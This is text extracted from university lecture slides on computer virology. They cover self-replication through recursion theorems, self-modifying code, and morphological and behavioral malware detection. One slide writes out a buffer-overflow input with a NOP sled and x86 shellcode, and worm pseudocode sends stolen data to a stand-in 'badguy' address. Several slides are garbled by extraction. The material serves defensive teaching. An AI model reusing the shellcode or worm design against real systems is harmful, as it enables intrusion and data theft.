An introduction to Computer Virology

Jean-Yves MarionLORIAINPL - ENSMN

1mercredi 23 février 2011

Some great stories

• Stuxnet • A botnet Waledac

• GhostNet

What is a malware ?

• A malware is a program which has malicious intentions

• A malware is a virus, a worm, a spyware, a botnet ...

• Giving a mathematical definition is difficult

• However formal definitions are necessary in order to make progress

How do infections by malware work ?

Social engineering

Vulnerabilities

Infections

InfectionsInfections

Mutations

Vulnerabilities : a buffer-overflow

void vulnerable(char *user_data) { char buffer[4]; strcpy(buffer, userdata);}

buffer

vulenrable(«AAAAAAAAAAAAAAAA\xec\xf2\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/ls»)

\x90\x90

\xE000

\x90\x90

\xFFF0

Vulnerabilities : a buffer-overflow

void vulnerable(char *user_data) { char buffer[4]; strcpy(buffer, userdata);}

buffer

\x90\x90

\xE000

\x90\x90

\xFFF0

return at the address FFF0

• Data are programs

• Bugs are doors if there are exploitable

• A no bug system is safe

0 days exploitBug free n’existe pas

• A buffer-overflow transform a program in a self-modifying program

Protections: Self-Modification and Obfuscation

• A lot of malware families use home-made obfuscations, like packers to protect their binaries, following a standard model.

• The obfuscation mechanism is automatically modified for each new distributed binary.

!"#$%&'(#)($*+,

- .&( &/ 01.213# /104.4#5 65# "&0#7018#91:;#35 (& 93&(#:( ("#43 <4'134#5= /&..&24'> 15(1'8138 0&8#.?

!"# 6'91:;4'> :&8# 45 16(&01(4:1..@ 0&84/4#8 /&3#1:" '#2 845(34<6(#8 <4'13@A

C34>4'1.<4'13@

D'91:;4'>$:&8#

!349&6)?$G#H#35#7#'>4'##34'>$&/$01.213#$91:;#35$/&3$86004#5$7 I##9J#: BK+K$

• For a human analyst, it is very hard to understand an obfuscated code

Win32.Swizzor Packer!"#$%&'()*(+'#,-.(/0(1-0#"'2.3#-

445"36#,7*(8&9&":&;&-<3-&&"3-<(#0('2%=2"&(62>?&":(0#"(@,''3&:(; A&&6B&> )C4C(

Protections: Self-Modification and Obfuscation

• A lot of malware families use home-made obfuscations, like packers to protect their binaries, following a standard model.

• The obfuscation mechanism is automatically modified for each new distributed binary.

!"#$%&'(#)($*+,

- .&( &/ 01.213# /104.4#5 65# "&0#7018#91:;#35 (& 93&(#:( ("#43 <4'134#5= /&..&24'> 15(1'8138 0&8#.?

!"# 6'91:;4'> :&8# 45 16(&01(4:1..@ 0&84/4#8 /&3#1:" '#2 845(34<6(#8 <4'13@A

C34>4'1.<4'13@

D'91:;4'>$:&8#

!349&6)?$G#H#35#7#'>4'##34'>$&/$01.213#$91:;#35$/&3$86004#5$7 I##9J#: BK+K$

• For a human analyst, it is very hard to understand an obfuscated code because not all the code lines are meaningful and because x86 semantics is very tricky.

• One problem is the absence of high level abstraction to structure and understand obfuscated codes.

What is a malware ?

• Infect systems by self-replication

• Mutation

• Protect itself

• Obfuscation

• Self-modification

• Detection

• Undecidable

Pourquoi tracer ? (1/3)

Definition : l’analyse binaire, c’est

• de l’analyse de programme

• ou le programme est inconnu

=⇒ on a juste un blob binaireRaisons :

• sauts indirects=⇒ flot de controle indecidable

• lectures/ecritures indirectes=⇒ flot de donnees indecidable

• code auto-modifiant=⇒ syntaxe indecidable

3 / 32

Outline

• Self-replication

• Self-modification

• Detection

• Morphological detection

• Behavioral detection

• Botnet neutralization

Foundation 1 : Self-Replication

Self-replicating Cellular automaton

Von Neumann (1952), Burke

Codd, Langton

Cohen’s formalization (1985)Recursion

theorems as afoundation of

computer virology

Viruses andworms

ILoveYou

State of the art

A more abstractapproach

Abst Virology

Weak recursionBlueprint Distributions

Strong recursionExternal polymorphism

Extendedrecursionfixed polymorphism

Explicit recursionInternal polymorphism

Reproduction throughvectors

Detection

Conclusion

Cohen’s Virus (1985)

� Consider Turing Machine M� and a Viral set V� When a TM M reads v ∈ V , M produces v � ∈ V� (M, V ) is a description of a virus

v1 v2 ... vn v’1 v’2 v’m...

Self-Replication

• A virus has self-replicating capacity

• Reflexive property of programming language

• Fixed point combinators (functional programming languages)

• Pointer mechanism to program code $0 is shell script

• Program encoding (Ken Thompson «Reflections on trusting Trust», CACM84)

• ComputabilityRecursion theorem of Kleene (1938)

A worm X scenario:

•Open an email attachment by social engineering

•X scans for informations

•X extracts a list of email address of targeted peoples

•X sends copy of itself by email

A compilation point of view

WormX(v,out){ info := extract(out); send(«badguy»,info); @bk := findAddress(out); send(@bk,v); }

Worm X specification

How to compile Worm X ?

send informationfind email address

send worm X to @bk

extract information

Semantics and fixed point equations

Recursion

theorems as a

foundation of

computer virology

Viruses and

ILoveYou

State of the art

A more abstract

approach

Abst Virology

Weak recursion

Blueprint Distributions

Strong recursion

External polymorphism

Extended

recursion

fixed polymorphism

Explicit recursion

Internal polymorphism

Reproduction through

vectors

Detection

Conclusion

Semantics

�_� : Programs×D∗ → D∗

where a value of D∗ is a system environment.

From the above example

�send�(spider@man.com,�� Hello��, Out)

= cons(cons(spider@man.com,�� Hello��), Out)

Where Out is an output stream.

Semantics:

Recursiontheorems as afoundation of

computer virology

I Always Love You

Suppose that out is a system entry point,A specification of ILoveYou is:

love(v,out) {info := find(out); // find informationsout := send(cons(‘‘badguy@dom.com’’,nil),info);@bk := extract(out); //extract addressesout := send(@bk,v); //send virus to @bkreturn out;}

v should behave as ILoveYou if:

!W "(out) = !WormX"(W,out)

We have to solve a fixed point equation :

W is a worm satisfying the specification WormX

Kleene’s recursion theorem

If p is a program, then there is a program e such that:

computer virology

Kleene’s recursion theorem

A general solution to fixed point equations is given byTheorem (Kleene (1938))If p is a program, then there is a program e such that

!e"(x) = !p"(e, x)

A solution of IloveYou equation

!v"(out) = !love"(v,out)

Set v = e where p = Love.

computer virology

I Always Love You

Suppose that out is a system entry point,A specification of ILoveYou is:

love(v,out) {info := find(out); // find informationsout := send(cons(‘‘badguy@dom.com’’,nil),info);@bk := extract(out); //extract addressesout := send(@bk,v); //send virus to @bkreturn out;}

Kleene fixed point is a solution of

Self-replicating malware compiler:

There is Comp such that for all worm spec:

computer virology

Viruses andworms

ILoveYou

State of the art

Abst Virology

Explicit recursionInternal polymorphismReproduction throughvectors

Detection

Conclusion

I Always Love YouSuppose that out is a system entry point,A specification of ILoveYou is:love(v,out) {info := find(out); // find informationsout := send(cons(‘‘badguy@dom.com’’,nil),info);@bk := extract(out); //extract addressesout := send(@bk,v); //send virus to @bkreturn out;}

!Comp"(Worm) =W!W"(out) = !Worm"(W,out)

Self-replicating compilers with mutations

If p is a program, then there is a program e :

where Mutate is a code mutation procedure

Self-replicating compiler with mutations:

There is Comp such that for all worm and mutation procedure:

computer virology

Viruses andworms

ILoveYou

State of the art

Abst Virology

Detection

Conclusion

Some historical facts

!e"(out) = !Worm"(Mutate(e),out)

! 1983 : the first official virus pn Vax-PDP 11! 1988 : The first worm which infects 6000 machines! 1990 :Dark Avenger mutation engine (Bulgaria)! 1995 : macro virus! 2000 : Worm “I Love You”! 2001 : Palm pilot virus! 2004: Cell phone viruses

computer virology

Viruses andworms

ILoveYou

State of the art

Abst Virology

Detection

Conclusion

!Comp"(Worm) =W!W"(out) = !Worm"(Mutate(W),out)

References

• PhD thesis of F. Cohen

• L. Adleman (1988) which coins the word «virus»

• Guillaume Bonfante, Matthieu Kaczmarek, Jean-Yves Marion: On Abstract Computer Virology from a Recursion Theoretic Perspective. Journal in Computer Virology (3-4): 45-54 (2006)

A Virus is a Virus, Lwoff

Foundation 2 : Auto-modifications

A simple self-modifications

n + 1n

A simple decryption loop

Wave 2

Wave 1

jnz @b

Another example of self-modification

Proxy = { X:= Read();

eval(X);}An external input is run

An interpreter of a known or unknown language is used to execute some data

Applications of self-modifying programs

• Malware mutations

• Code protection (digital rights)

• Compression and packers

• Just in Time compilers

Analyzing self-modifying programs

• Complex to design and to analyze

• Program flow may change

• Usual in semantics program and data are separatedRecursion

theorems as afoundation of

computer virology

Viruses andworms

ILoveYou

State of the art

Abst Virology

Detection

Conclusion

P ! ! " !!

!Comp"(Worm) =W!W"(out) = !Worm"(Mutate(W),out)

Define by structural induction on P :

• Axiomatic semantic by means of Hoare logic and separation logic (Myreen and Cai-Appel & al)

Dynamic analysis of self-modifying programs

• Instrument a program

• Monitor read R, write W memory access and memory execution X

• We follow nested self-modifying

• We detect some code protection

• We detect code patterns

• code decryption

• Integrity checking

• ....

AC ProtectExemple (3/5)

• hostname packe avec ACProtect

ThemidaExemple (4/5)

• hostname packe avec Themida

Experiments with TraceSuferResultats experimentaux 1/3

• Nombre de vagues de code detectees sur l’ensemble des binaires◦ max : 56 vagues

24 / 32

Number of waves detected - max=56

95 613 Binaries, 80% of success, 1400 binaries/h

TraceSurfer based on Pin (Intel)

Typing systems

• each memory cell m at step x has a level Exec(m,x), Read(m,x), Write(m,x)

• if we execute an instruction at address m:

Exec(m,x+1) = Write(m,x)+1

• if the instruction at address m reads memory address m’

Read(m’,x+1) = Exec(m,x)

• If the instruction at address m writes memory address m’

Write(m’,x+1)= Write(m,x)

Related works

• TraceSufer based on PIN (INTEL)

• Bitblaze (Berkeley) : TEMU, VINE, ...

• DynamoRio, Ether, Metasm

Malware detection

Malware detection by traditional detection

• Signature is a regular expression denoting a sequence of bytes

Worm.YYour mac is now under our control !

• Signature : «Your * is now under our control»

• Signature are quasi-manually constructed

• Vulnerable to code mutations and code obfuscations

• Because based at low (machine code) abstraction level

Because based on low level abstraction at level code machine

Morphological analysis in a nutshell

Signatures are abstract flow graph

Detection of subgraph in program flow graph abstraction

Automatic construction of signatures

Reduction of signatures by graph rewriting

Morphological detection : Results

• False negative

• No experiment on unknown malwares

• Signatures with < 18 nodes are potential false negative

• Restricted signatures of 20 nodes are efficient

• Less than 3 sec. for signatures of 500 nodes

Conclusion about morphological detection

• Benchmarks are good

• Pro

• More robust on local mutation and obfuscation

• Detect easily variants of the same malware family

• Try to take into account program semantics

• Quasi-automatic generation of signatures

• Cons

• Difficult to determine flow graph statically of self-modifying programs

• Use of combination of static and dynamic analysis

Reference

• Guillaume Bonfante, Matthieu Kaczmarek and Jean-Yves Marion, Architecture of a malware morphological detector, Journal in Computer Virology, Springer 2008.

Behavioral analysis

• Monitor program interactions (sys calls, network calls, ...)

• Detection of program behavior from execution traces

• Functionalities are express at high level

Trace automata

Introduction

Trace abstraction• Behavior patterns• Abstracting byreduction• Trace automata• Regular abstraction

Malicious behaviordetection

Experiments

Conclusion

12 / 22

• Trace language of a program: generally undecidable.

• Approximation by a regular language: using trace collectionor static analysis.

=! A trace automaton is a finite state approximation of some tracelanguage.

GetLogicalDriveStrings

IcmpSendEcho GetDriveType FindNextFileFindFirstFile

GetDriveType FindFirstFile

FindFirstFile FindNextFile

FindNextFile

• Information leak can be detected

• Static and dynamic analysis

Some works on behavioral analysis

• Martignoni and al, 2008, on multi-layered abstraction

• Jacob and al, 2009, on low-level functionalities but exponential-time detection

• Beaucamps, Gnaedig, Marion, RV 2010, on fast detection of high level functionalities.

Botnets

• Understanding malware at the network level, with the interaction between thousands of infected hosts.

• Reverse-engineering

• Provide a start for understanding of a botnet (Protocole, objective...)

• Simulation and analytical modeling

• Large scale experiments in vitro

Botnet neutralisation in the lab

!"!#$$#%&'(!

)!*+,-.*!

!/011!*2#33'(*!!

011!('2'#$'(*!

4!2(5$'%$5(*!

WHITE C&C!

Attack scenario!

Spam sent by the botnet

Rlist infections for repeaters

Conclusions

Conclusion

• Mathematical definitions of malware with tools

• High level representation of binaries

• Abstract signature which are robust wrt obfuscations

• Experiments theories

• Analyzing tools combining static and dynamic analysis

• Detection and neutralization heuristics

High Security Lab @ Nancy

lhs.loria.fr

Telescope & honeypotsIn vitro experiment clusters

Thanks !

An introduction to Computer Virology -...

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